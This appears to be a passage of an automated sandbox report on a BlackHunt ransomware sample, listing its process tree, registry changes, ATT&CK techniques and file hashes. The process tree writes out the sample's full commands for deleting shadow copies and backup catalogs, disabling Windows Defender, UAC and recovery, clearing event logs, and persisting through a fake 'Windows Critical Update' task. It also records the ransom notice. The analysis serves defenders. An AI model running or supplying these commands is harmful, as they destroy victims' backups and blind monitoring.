6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 51 PID 2868 wrote to memory of 2540 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 53 PID 2868 wrote to memory of 2540 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 53 PID 2868 wrote to memory of 2540 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 53 PID 2868 wrote to memory of 2540 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 53 PID 2868 wrote to memory of 3064 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 54 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe"C:\Users\Admin\AppData\Local\Temp\6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2868 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2668 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2596
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2800
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:3008
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵PID:2696
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:580
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2724
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:1484
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2600
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:1168
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2956
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:3004
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2788
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2312
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2736
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:1320
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2620
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:2288
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2580
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:2908
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2852
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:672
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2644
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:2828
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:3048
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:860
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:3052
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2724
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2540
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:3056
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:3064
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:2052
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2008
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:2492
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2476
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1316
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2900
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:2244
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2884
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2460
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2924
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:2372
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2396
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:2364
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2960
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2636
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:552
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:640
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1632
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:1868
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1868
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2436
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1860
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1784
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:1740
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:1544
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2184
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:1316
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe" /F2⤵PID:664
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe" /F3⤵
- Creates scheduled task(s)
PID:1028
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2756
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:760
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2824
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2548
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2036
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3000
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2072
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3048
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1852
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:1020
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2124
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2456
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2220
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:2512
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2532
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1744
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:1232
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2552
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:2084
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:572
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:2440
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵PID:852
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:788
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:1584
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:2644
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:1128
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:756
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:276
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:2700
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2068
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:2036
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:772
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:3056
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1492
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:1352
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:588
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1620
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2596
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:956
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2372
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2132
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2888
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2240
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:2612
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1208
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:1860
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2988
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:1704
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:1468
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:2112
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:1932
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:3052
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:640
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:1556
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:1604
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:2348
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:1692
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:1040
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:1808
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1804
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:1720
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:1512
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:2404
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:2600
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe"2⤵
- Deletes itself
PID:1940 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:1980
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2292
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:552
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:2396
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:2928
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
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Downloads
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Filesize
1KB
MD5b70caab1b169be634698028a0d64c377
SHA1fa8edcf5782158eede822f180ededcda534aa97f
SHA2560e159ab5d98b1b76bbbb5618e1598a0f5714782929a4d2b56c75a29cc41d45e5
SHA512616fb87d1ce248a05e93a2bae6b6a1a97bfefee139a193d4268b44ce0effbef86eae85026f68961c64e8bcf00de17454fb930a0895433f143ec51d83d5bd937f
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Filesize
12KB
MD583857074ef13a16fe9544b8775bb999f
SHA1cd5187786cae153c0a05874c82f6addac1339d10
SHA256ed2561d0f731553ef72cee84ad7949d86b35f382dac35966e78c25656a50cefc
SHA512a036fdd9faa1fe7b9b2474b4b5189442b4ad2be4714c4aa2225f26614681d4dd62ea10161d2ffbe0a6232aabc2809d15b5c4bac70d94a821464ea2705819a630
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Filesize
684B
MD58c706bb4b584a06ade41680ec1e27023
SHA13c650100feb5efe0ff971c90f9c168bee165513f
SHA256e0dd16485ab24ffaa8f74f9ad1afa936a91bf87c93594d2295b021b1c92afefc
SHA512bb6fd78829505330c86064bea80e33cbcb059379ec47bcb2f05484bd72c9ce697fd6df475e092f8b093e0abc007420212da24467bd95bd5f011b327d1457a2b8